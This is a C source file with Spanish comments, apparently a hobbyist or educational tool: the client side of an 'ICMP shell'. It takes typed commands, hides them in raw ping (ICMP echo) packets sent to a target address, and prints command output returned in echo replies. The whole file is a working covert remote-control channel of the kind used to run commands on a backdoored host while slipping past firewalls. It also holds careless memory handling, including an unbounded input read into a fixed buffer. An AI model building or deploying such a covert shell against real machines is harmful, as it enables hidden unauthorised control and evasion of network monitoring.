/*****************************************************************************
 * 
 * autor: Daniel Lerch
 * url: http://daniellerch.com
 *
 *****************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>


/******************************************************************************
*	Envío de paquetes ICMP
******************************************************************************/
void send_icmp_packet (unsigned long dst_ip,
							  char * data, int data_size, int icmp_type) {



	/* socket */
	int sock;

	/* Longitud de un paquete ICMP */
	unsigned int buffer_size = 
	sizeof(struct iphdr) + sizeof(struct icmphdr) + data_size;

	/* Paquete capaz con capacidad para un paquete ICMP */
	unsigned char buffer[buffer_size];
	memset(buffer, 0, buffer_size);

	/* Cabecera IP */
	struct iphdr *ip = (struct iphdr *)buffer;

	/* Cabecera ICMP */
	struct icmphdr *icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr));

	/* Datos */
	char *p_data = (buffer + sizeof(struct iphdr) + sizeof(struct icmphdr));
	mempcpy (p_data, data, data_size);


	/* Creación del socket */
	if ((sock = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)) == -1) { 

		perror("socket()"); 
		exit(EXIT_FAILURE); 
	}

	/* Establece las opciones del socket */
	int o = 1;
	if( setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&o,sizeof(o)) == -1 ) { 

		perror("setsockopt()"); 
		exit(EXIT_FAILURE); 
	}

	/* Rellena la cabecera IP */
	ip->version = 4;
	ip->ihl = 5;
	ip->id = htonl(random());
	ip->daddr = dst_ip;
	ip->ttl = 255;
	ip->protocol = IPPROTO_ICMP;
	ip->tot_len = buffer_size;
	ip->check = 0;

	/* Rellena la cabecera ICMP */
	icmp->type = icmp_type;
	icmp->code = 0;
	icmp->checksum = 0;

	/* Rellena la estructura sockaddr_in */
	struct sockaddr_in addr;
	addr.sin_family = AF_INET;

	/* Envío del paquete */
	if ((sendto(sock, buffer, buffer_size, 0, (struct sockaddr*)&addr,
					sizeof(struct sockaddr_in))) == -1 ) {

		perror("send()");
		exit(EXIT_FAILURE);
	}

}


/******************************************************************************
* Recepción de la respuesta a la ejecución del comando
******************************************************************************/
void recv_and_print (unsigned long dst_ip) {

	/* socket */
   int sock;
                                                                                
   /* Tamaño máximo de la sección de datos */
   int data_size = 1024;
                                                                                
   /* Tamaño del buffer donde guardaremos el paquete */
   int buffer_size = 
   sizeof(struct iphdr) + sizeof(struct icmphdr) 
   + data_size;
                                                                                
   /* Buffer donde guardaremos el paquete */
   char buffer[buffer_size];
                                                                                
   /* Cabecera IP */
   struct iphdr *ip = (struct iphdr *) (buffer);
                                                                                
   /* Cabecera ICMP */
   struct icmphdr *icmp = (struct icmphdr *) 
   (buffer + sizeof(struct iphdr));
                                                                                
   /* Data */
   char *data = (char *)
   (buffer + sizeof(struct iphdr) + 
    sizeof(struct icmphdr));
                                                                                
                                                                                
   /* Socket de captura de todos los paquetes. (modo promiscuo) */
   //if((sock = socket(AF_INET, SOCK_PACKET, htons(0x3) )) == -1) {
   if((sock = socket(AF_INET, SOCK_RAW,  IPPROTO_ICMP)) == -1) {
                                                                                
      perror("socket()");
      exit(EXIT_FAILURE);
   }
 	
   /* Bucle infinito de lectura de paquetes */
   for(;;) {
                                                                                
      char cmd[2048];
      memset (cmd, '\0', 256);
      memset (buffer, '\0', buffer_size);
                
      read(sock,buffer,buffer_size);

      if ( (strncmp(data, "ICMP-SHELL-SERVER: ", 19)==0) &&
           (icmp->type==ICMP_ECHOREPLY) &&
           (ip->saddr == dst_ip)) 
      {
			
         strncpy (cmd, &data[19], 2048-19);
         printf ("%s", cmd);
      }
   }
                                                                                
                                                                               
	
}


/******************************************************************************
* MAIN
******************************************************************************/
int main(int argc, char **argv) {

	if (argc != 2) {

		printf("%s dst_ip \n\n", argv[0]);	
		exit (0);
	}


	/* Dos procesos */
	int pid = fork();

	if (pid < 0) {
		
		printf ("fork()");
		exit(EXIT_FAILURE);
	}

	/* Proceso padre */
	if (pid != 0) {

		while (1) {
			
			printf ("icmp-shell: ");

			/* Obtiene el comando por la entrada estandar */
			char cmd[256];
			memset (cmd, '\0', 256);
			//printf ("icmp-shell: ");
			int i=0;	
			do { cmd[i]=getc(stdin); } while (cmd[i++]!='\n');
			cmd[i-1] = '\0';
			char cmd2[256];
			snprintf (cmd2, 256, "ICMP-SHELL-CLIENT: %s", cmd);

			/* Solicitud */
			send_icmp_packet(inet_addr(argv[1]), cmd2, 
      	                 strlen(cmd2), ICMP_ECHO);

		}
	}

	/* Proceso hijo */
	/* Recepción de la respuesta */
	else 	recv_and_print(inet_addr(argv[1])); 

	return 0;
}



